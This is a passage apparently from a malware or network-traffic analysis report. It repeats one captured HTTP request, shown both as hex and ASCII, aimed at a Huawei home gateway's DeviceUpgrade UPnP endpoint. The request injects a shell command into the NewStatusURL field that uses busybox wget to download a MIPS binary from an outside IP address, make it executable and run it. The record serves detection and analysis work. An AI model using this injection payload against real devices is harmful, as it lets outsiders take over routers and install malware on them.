2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 